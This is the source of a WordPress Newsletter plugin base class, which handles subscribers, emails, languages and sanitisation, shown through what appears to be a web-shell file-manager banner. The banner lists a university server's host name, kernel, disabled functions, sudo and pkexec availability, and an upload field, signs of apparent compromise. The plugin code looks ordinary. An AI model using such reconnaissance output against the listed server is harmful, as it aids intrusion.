Server IP : 172.24.0.40 / Your IP : 216.73.216.10 Web Server : Apache System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64 User : apache ( 48) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/medicine/public_html/wp-content/plugins/newsletter/includes/ |
Upload File : |
<?php class NewsletterModuleBase { static $language = ''; static $switched_languages = []; static $switched_locales = []; static $locale = ''; static $previous_language = ''; static $previous_locale = ''; static $is_multilanguage = false; static $is_allowed = false; static $plugin_url; /** * @var string The module name */ var $module; /** * @var NewsletterLogger */ var $logger; var $store; function __construct($module, $logger = null) { $this->module = $module; if ($logger) { $this->logger = $logger; } else { $this->logger = new NewsletterLogger($module); } $this->store = NewsletterStore::instance(); } function is_allowed() { return self::$is_allowed; } function is_html_allowed() { if (defined('NEWSLETTER_HTML_ALLOWED') && NEWSLETTER_HTML_ALLOWED) return true; return current_user_can('unfiltered_html'); } function is_multilanguage() { return self::$is_multilanguage; } static function plugin_url() { return self::$plugin_url; } /** * Returns the current language code set by multiplanguage plugins or empty in single language installations. * Note: the language code is not the WordPress "locale" code. * * @return string */ function language() { return self::$language; } /* For compatibility */ function get_current_language() { return self::$language; } /** * Gets the WordPress locale code for the specified language code of a multilanguage plugin (Polylang, WPML, ...). * Not all multilanguage plugins can be queried for the locale. * * @param string $language * @return string A WP compatibile locale */ static function get_locale($language) { if (function_exists('pll_languages_list')) { // Polylang $languages = pll_languages_list(['fields' => '']); foreach ($languages as $data) { if ($data->slug === self::$language) { return $data->locale; } } } else if (class_exists('SitePress')) { // WPML $languages = apply_filters('wpml_active_languages', null, ['skip_missing' => 0]); foreach ($languages as $code => $data) { if ($code === self::$language) { return $data['default_locale']; } } } return ''; } /** * Switch the internal language and locale variables, then used to get language * specific URLs, translations, ... * * @param string $language */ function switch_language($language) { if (!self::$is_multilanguage) { return; } $language = $language->language ?? $language ?? ''; // if (NEWSLETTER_DEBUG) { // error_log('Switch language: ' . $language); // } array_push(self::$switched_languages, self::$language); array_push(self::$switched_locales, self::$locale); self::$language = $language; self::$locale = $this->get_locale($language); do_action('wpml_switch_language', $language); } function restore_language() { if (!self::$switched_languages) { // if (NEWSLETTER_DEBUG) { // error_log('Newsletter: unpaird call to restore_language()'); // } return; } self::$language = array_pop(self::$switched_languages); self::$locale = array_pop(self::$switched_locales); do_action('wpml_switch_language', self::$language); // if (NEWSLETTER_DEBUG) { // error_log('Restore language: ' . self::$language); // } } /** Returns a prefix to be used for option names and other things which need to be uniquely named. The parameter * "sub" should be used when a sub name is needed for another set of options or like. * * @param string $sub * @return string The prefix for names */ function get_prefix($sub = '', $language = '') { if (empty($sub)) { $sub = $this->module; } return 'newsletter_' . $sub . (!empty($language) ? '_' : '') . $language; } /** * Return the default label for the given key and submodule. The WP language is switched to * match the current session language to force WP to use the correct translation file. * * @param string $name * @param string $sub * @return string * * @todo Implement a "setup" to cache the values at class level and return only the requested entry */ function get_default_text($key, $sub = '') { if (!$sub) { $sub = $this->module; } return NewsletterDefaults::get_text($key, $sub); } /** * Returns a text identified by the $key using the current language. If it cannot be * found, the default values is retutned. * * @param string $key * @param string $sub * @return string */ function get_text($key, $sub = '') { $text = $this->get_option($key, $sub); return !empty($text) ? $text : $this->get_default_text($key, $sub); } function get_default_options($sub = '') { if (!$sub) { $sub = $this->module; } return NewsletterDefaults::get_options($sub); } /** * * @global wpdb $wpdb * @param string $query */ function query($query) { global $wpdb; $this->logger->debug($query); $r = $wpdb->query($query); if ($r === false) { $this->logger->fatal($query); $this->logger->fatal($wpdb->last_error); } return $r; } function get_results($query) { global $wpdb; $r = $wpdb->get_results($query); if ($r === false) { $this->logger->fatal($query); $this->logger->fatal($wpdb->last_error); } return $r; } function get_row($query) { global $wpdb; $r = $wpdb->get_row($query); if ($r === false) { $this->logger->fatal($query); $this->logger->fatal($wpdb->last_error); } return $r; } /** * * @global wpdb $wpdb * @param string $table * @param array $data */ function insert($table, $data) { global $wpdb; $this->logger->debug("inserting into table $table"); $r = $wpdb->insert($table, $data); if ($r === false) { $this->logger->fatal($wpdb->last_error); } } /** * Returns an array of languages with key the language code and value the language name. * An empty array is returned if no language is available. */ static function get_languages() { $language_options = []; // WPML if (class_exists('SitePress')) { $languages = apply_filters('wpml_active_languages', null, ['skip_missing' => 0]); foreach ($languages as $language) { $language_options[$language['language_code']] = $language['translated_name']; } return $language_options; } // Polylang if (function_exists('pll_languages_list')) { $languages = pll_languages_list(['fields' => '']); foreach ($languages as $data) { $language_options[$data->slug] = $data->name; } return $language_options; } // Addons return apply_filters('newsletter_languages', $language_options); } /** * Returns a list of users marked as "test user". * @return TNP_User[] */ function get_test_users() { return $this->store->get_all(NEWSLETTER_USERS_TABLE, "where test=1 and status in ('C', 'S')"); } /** Returns the user identify by an id or an email. If $id_or_email is an object or an array, it is assumed it contains * the "id" attribute or key and that is used to load the user. * * @global type $wpdb * @param string|int|object|array $id_or_email * @param string $format * @return TNP_User|null */ function get_user($id_or_email, $format = OBJECT) { global $wpdb; if (empty($id_or_email)) return null; // To simplify the reaload of a user passing the user it self. if (is_object($id_or_email)) { $id_or_email = $id_or_email->id; } else if (is_array($id_or_email)) { $id_or_email = $id_or_email['id']; } $id_or_email = strtolower(trim($id_or_email)); if (is_numeric($id_or_email)) { $r = $wpdb->get_row($wpdb->prepare("select * from " . NEWSLETTER_USERS_TABLE . " where id=%d limit 1", $id_or_email), $format); } else { $r = $wpdb->get_row($wpdb->prepare("select * from " . NEWSLETTER_USERS_TABLE . " where email=%s limit 1", $id_or_email), $format); } if ($wpdb->last_error) { $this->logger->error($wpdb->last_error); return null; } return $r; } function get_dummy_user() { $dummy_user = new TNP_User(); $dummy_user->id = 0; $dummy_user->token = 0; $dummy_user->email = 'john.doe@example.org'; $dummy_user->name = 'John'; $dummy_user->surname = 'Doe'; $dummy_user->sex = 'n'; $dummy_user->language = ''; $dummy_user->status = TNP_User::STATUS_CONFIRMED; $dummy_user->_trusted = true; $dummy_user->_dummy = true; for ($i = 1; $i <= NEWSLETTER_PROFILE_MAX; $i++) { $profile_key = "profile_$i"; $dummy_user->$profile_key = 'Dummy profile ' . $i; } return $dummy_user; } /** * Returns ther meta value as int, null if not present. * * @param int $user_id * @param string $key * @return null|int */ function get_user_meta_int($user_id, $key) { $value = $this->get_user_meta($user_id, $key); if (is_null($value)) { return null; } return (int) $value; } function get_user_meta($user_id, $key) { global $wpdb; $r = $wpdb->get_row($wpdb->prepare("select * from " . NEWSLETTER_USERS_META_TABLE . " where user_id=%d and meta_key=%s limit 1", $user_id, $key)); if (!$r) { return null; } if ($wpdb->last_error) { $this->logger->error($wpdb->last_error); return null; } return $r->value; } /** * * @global wpdb $wpdb * @param string $email * @return TNP_User */ function get_user_by_email($email) { global $wpdb; $r = $wpdb->get_row($wpdb->prepare("select * from " . NEWSLETTER_USERS_TABLE . " where email=%s limit 1", $email)); if ($wpdb->last_error) { $this->logger->error($wpdb->last_error); return null; } return $r; } /** * Returns the user unique key * * @param TNP_User $user * @return string */ function get_user_key($user, $context = '') { if (empty($user->token)) { $this->refresh_user_token($user); } if ($context === 'preconfirm' || isset($user->_trusted) && !$user->_trusted) { return $user->id . '-' . md5($user->token); } return $user->id . '-' . $user->token; } /** * Returns the user token, processed by status * @param TNP_User $user * @return string */ function get_user_token() { // Just in case... if (empty($user->token)) { $this->refresh_user_token($user); } if ($user->status === TNP_User::STATUS_NOT_CONFIRMED || isset($user->_trusted) && !$user->_trusted) { return md5($user->token); } else { return $user->token; } } /** * NEVER CHANGE THIS METHOD SIGNATURE, USER BY THIRD PARTY PLUGINS. * * Saves a new user on the database. Return false if the email (that must be unique) is already * there. For a new users set the token and creation time if not passed. * * @param array $user * @return TNP_User|array|boolean Returns the subscriber reloaded from DB in the specified format. Flase on failure (duplicate email). */ function save_user($user, $return_format = OBJECT) { if (is_object($user)) { $user = (array) $user; } if (empty($user['id'])) { $existing = $this->get_user($user['email']); if ($existing != null) { return false; } if (empty($user['token'])) { $user['token'] = $this->get_token(); } } // We still don't know when it happens but under some conditions, matbe external, lists are passed as NULL foreach ($user as $key => $value) { if (strpos($key, 'list_') !== 0) { continue; } if (is_null($value)) { unset($user[$key]); } else { $user[$key] = (int) $value; } } // Due to the unique index on email field, this can fail. return $this->store->save(NEWSLETTER_USERS_TABLE, $user, $return_format); } function save_user_meta($user_id, $key, $value) { global $wpdb; $meta = $this->get_user_meta($user_id, $key); if ($meta) { $wpdb->query($wpdb->prepare("update " . NEWSLETTER_USERS_META_TABLE . " set value=%s where user_id=%d and meta_key=%s limit 1", $value, $user_id, $key)); } else { $this->query($wpdb->prepare("insert into " . NEWSLETTER_USERS_META_TABLE . " (user_id, meta_key, value) values (%d, %s, %s)", $user_id, $key, $value)); } } function delete_user_meta($user_id, $key) { global $wpdb; $wpdb->query($wpdb->prepare("delete from " . NEWSLETTER_USERS_META_TABLE . " where user_id=%d and meta_key=%s", $user_id, $key)); } /** * Changes a user status. Accept a user object, user id or user email. * * @param TNP_User $user * @param string $status * @return TNP_User */ function set_user_status($user, $status) { global $wpdb; $this->logger->debug('Status change to ' . $status . ' of subscriber ' . $user->id . ' from ' . $_SERVER['REQUEST_URI']); $this->query($wpdb->prepare("update " . NEWSLETTER_USERS_TABLE . " set status=%s, updated=%d where id=%d limit 1", $status, time(), $user->id)); $user->status = $status; return $this->get_user($user); } /** * * @global wpdb $wpdb * @param TNP_User $user * @return TNP_User */ function refresh_user_token($user) { global $wpdb; // Dummy user if ($user->id == 0) { return; } $token = $this->get_token(); $this->query($wpdb->prepare("update " . NEWSLETTER_USERS_TABLE . " set token=%s where id=%d limit 1", $token, $user->id)); $user->token = $token; } /** * @param string $language The language for the list labels (it does not affect the lists returned) * @return TNP_List[] */ function get_lists() { static $lists = null; if (is_null($lists)) { $options = $this->get_main_options('lists'); $lists = TNP_List::build($options); } return $lists; } /** * Returns an array of TNP_List objects of lists that are public. * @return TNP_List[] */ function get_lists_public() { static $lists = null; if (is_null($lists)) { $lists = []; foreach ($this->get_lists() as $list) { if ($list->is_public()) { $lists['' . $list->id] = $list; } } } return $lists; } /** * Create a log entry with the meaningful user data. * * @global wpdb $wpdb * @param TNP_User $user * @param string $source * @return type */ function add_user_log($user, $source = '') { global $wpdb; $lists = $this->get_lists_public(); foreach ($lists as $list) { $field_name = 'list_' . $list->id; $data[$field_name] = $user->$field_name; } $data['status'] = $user->status; $ip = $this->get_remote_ip(); $ip = $this->process_ip($ip); $this->store->save($wpdb->prefix . 'newsletter_user_logs', array('ip' => $ip, 'user_id' => $user->id, 'source' => $source, 'created' => time(), 'data' => json_encode($data))); } /** * * @global wpdb $wpdb * @param TNP_User $user * @param int $list * @param type $value */ function set_user_list($user, $list, $value) { global $wpdb; $list = (int) $list; $value = $value ? 1 : 0; $r = $wpdb->update(NEWSLETTER_USERS_TABLE, array('list_' . $list => $value), array('id' => $user->id)); } function set_user_field($id, $field, $value) { $this->store->set_field(NEWSLETTER_USERS_TABLE, $id, $field, $value); } function set_user_wp_user_id($user_id, $wp_user_id) { $this->store->set_field(NEWSLETTER_USERS_TABLE, $user_id, 'wp_user_id', $wp_user_id); } /** * * @param int $wp_user_id * @param string $format * @return TNP_User */ function get_user_by_wp_user_id($wp_user_id, $format = OBJECT) { return $this->store->get_single_by_field(NEWSLETTER_USERS_TABLE, 'wp_user_id', $wp_user_id, $format); } /** * Deletes a subscriber and cleans up all the stats table with his correlated data. * * @global wpdb $wpdb * @param int|id[] $id */ function delete_user($id) { global $wpdb; $id = (array) $id; foreach ($id as $user_id) { $user = $this->get_user($user_id); if ($user) { $r = $this->store->delete(NEWSLETTER_USERS_TABLE, $user_id); $wpdb->delete(NEWSLETTER_STATS_TABLE, array('user_id' => $user_id)); $wpdb->delete(NEWSLETTER_SENT_TABLE, array('user_id' => $user_id)); $wpdb->delete($wpdb->prefix . 'newsletter_user_meta', array('user_id' => $user_id)); do_action('newsletter_user_deleted', $user); } } return count($id); } function anonymize_user($id) { global $wpdb; $user = $this->get_user($id); if (!$user) { return null; } $user->name = ''; $user->surname = ''; $user->ip = $this->anonymize_ip($user->ip); for ($i = 1; $i <= NEWSLETTER_PROFILE_MAX; $i++) { $field = 'profile_' . $i; $user->$field = ''; } // [TODO] Status? $user->status = TNP_User::STATUS_UNSUBSCRIBED; $user->email = $user->id . '@anonymi.zed'; $user = $this->save_user($user); return $user; } /** * Retrieves an email from DB and unserialize the options. * * @param mixed $id * @param string $format * @return TNP_Email An object with the same fields of TNP_Email, but not actually of that type */ function get_email($id, $format = OBJECT) { $email = $this->store->get_single(NEWSLETTER_EMAILS_TABLE, $id, $format); if (!$email) { return null; } if ($format == OBJECT) { $email->options = maybe_unserialize($email->options); if (!is_array($email->options)) { $email->options = []; } if (empty($email->query)) { $email->query = "select * from " . NEWSLETTER_USERS_TABLE . " where status='C'"; } } else if ($format == ARRAY_A) { $email['options'] = maybe_unserialize($email['options']); if (!is_array($email['options'])) { $email['options'] = []; } if (empty($email['query'])) { $email['query'] = "select * from " . NEWSLETTER_USERS_TABLE . " where status='C'"; } } return $email; } /** Returns all the emails of the give type (message, feed, followup, ...) and in the given format * (default as objects). Return false on error or at least an empty array. Errors should never * occur. * * @global wpdb $wpdb * @param string $type * @return boolean|array */ function get_emails($type = null, $format = OBJECT) { global $wpdb; if ($type == null) { $list = $wpdb->get_results("select * from " . NEWSLETTER_EMAILS_TABLE . " order by id desc", $format); } else { $type = (string) $type; $list = $wpdb->get_results($wpdb->prepare("select * from " . NEWSLETTER_EMAILS_TABLE . " where type=%s order by id desc", $type), $format); } if ($wpdb->last_error) { $this->logger->error($wpdb->last_error); return false; } if (empty($list)) { return []; } return $list; } function get_emails_by_status($status) { global $wpdb; $list = $wpdb->get_results($wpdb->prepare("select * from " . NEWSLETTER_EMAILS_TABLE . " where status=%s order by id desc", $status)); array_walk($list, function ($email) { $email->options = maybe_unserialize($email->options); if (!is_array($email->options)) { $email->options = []; } }); return $list; } function get_emails_blocked_count() { global $wpdb; $count = $wpdb->get_var($wpdb->prepare("select count(*) from " . NEWSLETTER_EMAILS_TABLE . " where status=%s order by id desc", TNP_Email::STATUS_ERROR)); return $count; } /** * Save an email and provide serialization, if needed, of $email['options']. * @return TNP_Email|bool|WP_Error */ function save_email($email, $return_format = OBJECT) { if (is_object($email)) { $email = (array) $email; } if (isset($email['subject'])) { if (mb_strlen($email['subject'], 'UTF-8') > 250) { $email['subject'] = mb_substr($email['subject'], 0, 250, 'UTF-8'); } } if (isset($email['options']) && is_array($email['options'])) { $email['options'] = serialize($email['options']); } $email = $this->store->save(NEWSLETTER_EMAILS_TABLE, $email, $return_format, true); if (is_wp_error($email)) { return $email; } if ($return_format == OBJECT) { $email->options = maybe_unserialize($email->options); if (!is_array($email->options)) { $email->options = []; } } else if ($return_format == ARRAY_A) { $email['options'] = maybe_unserialize($email['options']); if (!is_array($email['options'])) { $email['options'] = []; } } return $email; } /** * Delete one or more emails identified by ID (single value or array of ID) * * @global wpdb $wpdb * @param int|array $id Single numeric ID or an array of IDs to be deleted * @return boolean */ function delete_email($id) { global $wpdb; $r = $this->store->delete(NEWSLETTER_EMAILS_TABLE, $id); if ($r !== false) { // $id could be an array if IDs $id = (array) $id; foreach ($id as $email_id) { $wpdb->delete(NEWSLETTER_STATS_TABLE, ['email_id' => $email_id]); $wpdb->delete(NEWSLETTER_SENT_TABLE, ['email_id' => $email_id]); } } return $r; } function get_email_field($id, $field_name) { return $this->store->get_field(NEWSLETTER_EMAILS_TABLE, $id, $field_name); } /** * Returns the email unique key * @param TNP_User $user * @return string */ function get_email_key($email) { if (!$email) return '0-0'; if (!isset($email->token)) { return $email->id . '-'; } return $email->id . '-' . $email->token; } function get_posts($filters = [], $language = '') { if ($language) { //if (class_exists('SitePress')) { if (empty($language)) { $language = 'all'; } do_action('wpml_switch_language', $language); $filters['suppress_filters'] = false; //} else if (class_exists('Polylang')) { // $filters['lang'] = $language; //} $filters = apply_filters('newsletter_get_posts_filters', $filters, $language); } // Fix by B. K. (see ticket 301048) if (empty($filters['orderby'])) { $filters['orderby'] = 'date'; $filters['order'] = 'DESC'; } $posts = get_posts($filters); if ($language) { //if (class_exists('SitePress')) { do_action('wpml_switch_language', Newsletter::$language); //} } return $posts; } function get_wp_query($filters, $language = '') { if ($language) { if (class_exists('SitePress')) { if (empty($language)) { $language = 'all'; } do_action('wpml_switch_language', $language); $filters['suppress_filters'] = false; } else if (class_exists('Polylang')) { $filters['lang'] = $language; } $filters = apply_filters('newsletter_get_posts_filters', $filters, $language); } $posts = new WP_Query($filters); if ($language) { if (class_exists('SitePress')) { do_action('wpml_switch_language', Newsletter::$language); } } return $posts; } static function process_ip($ip) { $option = Newsletter::instance()->get_option('ip'); if (empty($option)) { return $ip; } if ($option === 'anonymize') { return self::anonymize_ip($ip); } return ''; } static function anonymize_ip($ip) { if (empty($ip)) { return $ip; } $parts = explode('.', $ip); array_pop($parts); return implode('.', $parts) . '.0'; } /** * Converts a GMT date from mysql (see the posts table columns) into a timestamp. * * @param string $s GMT date with format yyyy-mm-dd hh:mm:ss * @return int A timestamp */ static function m2t($s) { // TODO: use the wordpress function I don't remember the name $s = explode(' ', $s); $d = explode('-', $s[0]); $t = explode(':', $s[1]); return gmmktime((int) $t[0], (int) $t[1], (int) $t[2], (int) $d[1], (int) $d[2], (int) $d[0]); } /** * Adds query string parameters to an URL checing id there are already other parameters. * * @param string $url * @param string $qs The part of query-string to add (param1=value1¶m2=value2...) * @param boolean $amp If the method must use the & instead of the plain & (default true) * @return string */ static function add_qs($url, $qs) { if (strpos($url, '?') !== false) { return $url . '&' . $qs; } else { return $url . '?' . $qs; } } function get_action_base_url() { if (NEWSLETTER_ACTION_TYPE === 'ajax') { return admin_url('admin-ajax.php') . '?action=tnp'; } else { $type = Newsletter::instance()->get_main_option('links'); if (empty($type)) { return $this->get_home_url(); } else { return admin_url('admin-ajax.php') . '?action=tnp'; } } } /** * Builds a standard Newsletter action URL for the specified action. * * @param string $action * @param TNP_User $user * @param TNP_Email $email * @return string */ function build_action_url($action, $user = null, $email = null) { $url = $this->get_action_base_url(); $url = $this->add_qs($url, 'na=' . urlencode($action)); if ($user) { $url .= '&nk=' . urlencode($this->get_user_key($user)); } if ($email) { $url .= '&nek=' . urlencode($this->get_email_key($email)); } return $url; } function build_dummy_action_url($action) { $url = $this->get_action_base_url(); $url = $this->add_qs($url, 'na=' . urlencode($action)); $language = $this->language(); if (empty($language)) { $language = '0'; } $url .= '&nk=0-' . $language; return $url; } function build_action_url_ajax($action, $user = null, $email = null) { $url = admin_url('admin-ajax.php') . '?action=tnp&na=' . urlencode($action); if ($user) { $url .= '&nk=' . urlencode($this->get_user_key($user)); } if ($email) { $url .= '&nek=' . urlencode($this->get_email_key($email)); } return $url; } static function sanitize_user_field($value, $max = 250) { if (!$value) return ''; $value = html_entity_decode($value, ENT_QUOTES); $value = wp_strip_all_tags($value, true); $value = str_replace(['{', '}', '[', ']', '>', '<'], '', $value); // Tags cannot be used on user's fields $value = str_replace(';', ' ', $value); if (mb_strlen($value) > $max) { $value = mb_substr($value, 0, $max); } return $value; } /** * Sanitize the subscriber first and last name * * @param string $value * @return string */ static function sanitize_name($value) { $value = self::sanitize_user_field($value); if (mb_strlen($value) > 100) { $value = mb_substr($value, 0, 100); } return $value; } /** * @see sanitize_name * @deprecated */ static function normalize_name($value) { return self::sanitize_name($value); } static function sanitize_gender($gender = 'n') { if (empty($gender)) { return 'n'; } $gender = trim(strtolower($gender)); if (empty($gender)) { return 'n'; } $gender = substr($gender, 0, 1); if ($gender !== 'f' && $gender !== 'm') { $gender = 'n'; } return $gender; } static function sanitize_language($value = '') { $languages = self::get_languages(); return isset($languages[$value]) ? $value : ''; } static function sanitize_country($value) { return sanitize_user_field($value, 2); } /** * @see sanitize_gender * @deprecated */ static function normalize_sex($sex) { return self::sanitize_gender($sex); } /** * * @param TNP_Subscription_Data $data */ static function sanitize_subscription_data($data) { $data->email = self::sanitize_email($data->email); $data->name = self::sanitize_name($data->name); $data->surname = self::sanitize_name($data->surname); $data->sex = self::sanitize_gender($data->sex); $data->language = self::sanitize_language($data->language); if (isset($data->city)) { $data->city = self::sanitize_user_field($data->city, 50); } if (isset($data->region)) { $data->region = self::sanitize_user_field($data->region, 50); } if (isset($data->http_referer)) { $data->http_referer = self::sanitize_user_field($data->http_referer, 200); } if (isset($data->referrer)) { $data->referrer = self::sanitize_user_field($data->referrer, 50); } for ($i = 1; $i < NEWSLETTER_PROFILE_MAX; $i++) { $field = 'profile_' . $i; if (isset($data->$field)) { $data->$field = self::sanitize_user_field($data->$field); } } } static function is_email($email, $empty_ok = false) { if (!is_string($email)) { return false; } $email = trim($email); if ($email === '') { return $empty_ok; } if (!is_email($email)) { return false; } if (mb_strlen($email) > 100) { return false; } if (strpos($email, '..') !== false) { return false; } if (strpos($email, '.@') !== false) { return false; } return true; } /** * Returns the email address normalized, lowercase with no spaces. If it's not a valid email * returns false. */ static function normalize_email($email) { $email = strtolower(trim($email)); if (!is_email($email)) { return false; } return $email; } /** * Try to sanitize and email and return false if it is not valid. * @param string $email * @return bool */ static function sanitize_email($email) { return self::normalize_email($email); } /** * Returns a WP option granting to be an array. * * @param string $name * @param array $default * @return array */ static function get_option_array($name, $default = []) { $opt = get_option($name, []); if (!is_array($opt)) { return $default; } return $opt; } /** Returns a random token of the specified size (or 10 characters if size is not specified). * * @param int $size * @return string */ static function get_token($size = 10) { return substr(md5(rand()), 0, $size); } /** * Takes in a variable and checks if object, array or scalar and return the integer representing * a database record id. * * @param mixed $var * @return in */ static function to_int_id($var) { if (is_object($var)) { return (int) $var->id; } if (is_array($var)) { return (int) $var['id']; } return (int) $var; } /** * Transform a multilines text onto an array, trimming and lowercasing every value. * * @param string $text * @return array */ static function to_array($text) { $text = trim($text); if (empty($text)) { return []; } $text = preg_split("/\\r\\n/", $text); $text = array_map('trim', $text); $text = array_map('strtolower', $text); $text = array_filter($text); return $text; } static function sanitize_ip($ip) { if (empty($ip)) { return ''; } $ip = preg_replace('/[^0-9a-fA-F:., ]/', '', trim($ip)); if (strlen($ip) > 50) { $ip = substr($ip, 0, 50); } // When more than one IP is present due to firewalls, proxies, and so on. The first one should be the origin. if (strpos($ip, ',') !== false) { list($ip, $tail) = explode(',', $ip, 2); } return $ip; } /** * Extracts the remote IP searching even forwarded IP by proxies. * * @return string */ static function get_remote_ip() { $ip = ''; if (!empty($_SERVER['HTTP_X_REAL_IP'])) { $ip = $_SERVER['HTTP_X_REAL_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } return self::sanitize_ip($ip); } static function sanitize_file_name($name) { return preg_replace('/[^0-9a-z_\\-]/i', '', $name); } /** * Cleans up a text containing url tags with appended the absolute URL (due to * the editor behavior) moving back them to the simple form. */ static function clean_url_tags($text) { $text = str_replace('%7B', '{', $text); $text = str_replace('%7D', '}', $text); // Only tags which are {*_url} $text = preg_replace("/[\"']http[^\"']+(\\{[^\\}]+_url\\})[\"']/i", "\"\\1\"", $text); return $text; } static function clean_eol($text) { $text = str_replace("\r\n", "\n", $text); $text = str_replace("\r", "\n", $text); $text = str_replace("\n", "\r\n", $text); return $text; } static function dienow($message, $admin_message = null, $http_code = 200) { if ($admin_message && current_user_can('administrator')) { $message .= '<br><br><strong>Text below only visibile to administrators</strong><br>'; $message .= $admin_message; } wp_die($message, $http_code); die(); // There are plugins that change the wp_die() behavior without actually die(). } static function dump($var) { if (NEWSLETTER_DEBUG) { var_dump($var); } } static function dump_die($var) { if (NEWSLETTER_DEBUG) { var_dump($var); die(); } } /* Wrong place but used by some addons */ function get_email_status_slug($email) { $email = (object) $email; if ($email->status == 'sending' && $email->send_on > time()) { return 'scheduled'; } return $email->status; } function get_email_status_label($email) { $email = (object) $email; $status = $this->get_email_status_slug($email); switch ($status) { case 'sending': return __('Sending', 'newsletter'); case 'scheduled': return __('Scheduled', 'newsletter'); case 'sent': return __('Sent', 'newsletter'); case 'paused': return __('Paused', 'newsletter'); case 'new': return __('Draft', 'newsletter'); default: return ucfirst($email->status); } } function show_email_status_label($email) { echo '<span class="tnp-status tnp-email-status tnp-email-status--', $this->get_email_status_slug($email), '">', esc_html($this->get_email_status_label($email)), '</span>'; } function get_email_progress($email, $format = 'percent') { return $email->total > 0 ? intval($email->sent / $email->total * 100) : 0; } static function get_email_default_text_part() { return __("This email requires a modern e-mail reader.\nView online: {email_url}\nChange your subscription: {profile_url}\nUnsubscribe: {unsubscription_url}", 'newsletter'); } /** * Echos the progress bar of an email. Attributes: * * - scheduled: if true the future date is shown * * @param type $email * @param type $attrs * @return type */ function show_email_progress_bar($email, $attrs = []) { $email = (object) $email; $attrs = array_merge(array('format' => 'percent', 'numbers' => false, 'scheduled' => false), $attrs); if ($email->status == 'sending' && $email->send_on > time()) { if ($attrs['scheduled']) { echo '<span class="tnp-progress-date">', esc_html($this->format_date($email->send_on)), '</span>'; } return; } else if ($email->status == 'new') { echo ''; return; } else if ($email->status == 'sent') { $percent = 100; } else { $percent = $this->get_email_progress($email); } echo '<div class="tnp-progress tnp-progress--' . esc_attr($email->status) . '">'; echo '<div class="tnp-progress-bar" role="progressbar" style="width: ', esc_attr($percent), '%;"> ', esc_attr($percent), '% </div>'; echo '</div>'; if ($attrs['numbers']) { if ($email->status == 'sent') { echo '<div class="tnp-progress-numbers">', ((int) $email->total), ' ', esc_html__('of', 'newsletter'), ' ', ((int) $email->total), '</div>'; } else { echo '<div class="tnp-progress-numbers">', ((int) $email->sent), ' ', esc_html__('of', 'newsletter'), ' ', ((int) $email->total), '</div>'; } } } function show_email_progress_numbers($email, $attrs = []) { $email = (object) $email; $attrs = array_merge(array('format' => 'percent', 'numbers' => false, 'scheduled' => false), $attrs); if ($email->status == 'sending' && $email->send_on > time()) { //return; } else if ($email->status == 'new') { return; } if ($email->status == 'sent') { echo '<div class="tnp-progress-numbers">', $email->total, '/', $email->total, '</div>'; } else { echo '<div class="tnp-progress-numbers">', $email->sent, '/', $email->total, '</div>'; } } function get_email_type_label($type) { // Is an email? if (is_object($type)) { $type = $type->type; } $label = apply_filters('newsletter_email_type', '', $type); if (!empty($label)) { return $label; } switch ($type) { case 'followup': return 'Followup'; case 'message': return 'Standard Newsletter'; case 'feed': return 'Feed by Mail'; } if (strpos($type, 'automated') === 0) { list($a, $id) = explode('_', $type); return 'Automated Channel ' . $id; } return ucfirst($type); } function get_email_progress_label($email) { if ($email->status == 'sent' || $email->status == 'sending') { return $email->sent . ' ' . __('of', 'newsletter') . ' ' . $email->total; } return '-'; } static function redirect($url) { wp_redirect($url); die(); } static function redirect_local($url) { $url = wp_sanitize_redirect($url); $local_host = parse_url(home_url(), 'host'); $url_host = parse_url($url, 'host'); if ($url_host !== $local_host) { die('Redirect URL invalid'); } wp_redirect($url); die(); } function set_lock($name, $duration) { global $wpdb; $duration = (int) $duration; $wpdb->flush(); $row = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->options WHERE option_name = %s LIMIT 1", 'newsletter_lock_' . $name)); if ($row) { $value = (int) $row->option_value; if ($value < time()) { $wpdb->query($wpdb->prepare("update $wpdb->options set option_value=%s where option_id=%d limit 1", '' . (time() + $duration), $row->option_id)); $wpdb->flush(); return true; } return false; } $wpdb->insert($wpdb->options, ['option_name' => 'newsletter_lock_' . $name, 'option_value' => '' . (time() + $duration)]); $wpdb->flush(); return true; } function reset_lock($name) { global $wpdb; $wpdb->query($wpdb->prepare("update $wpdb->options set option_value=%s where option_name=%s limit 1", '0', 'newsletter_lock_' . $name)); $wpdb->flush(); } }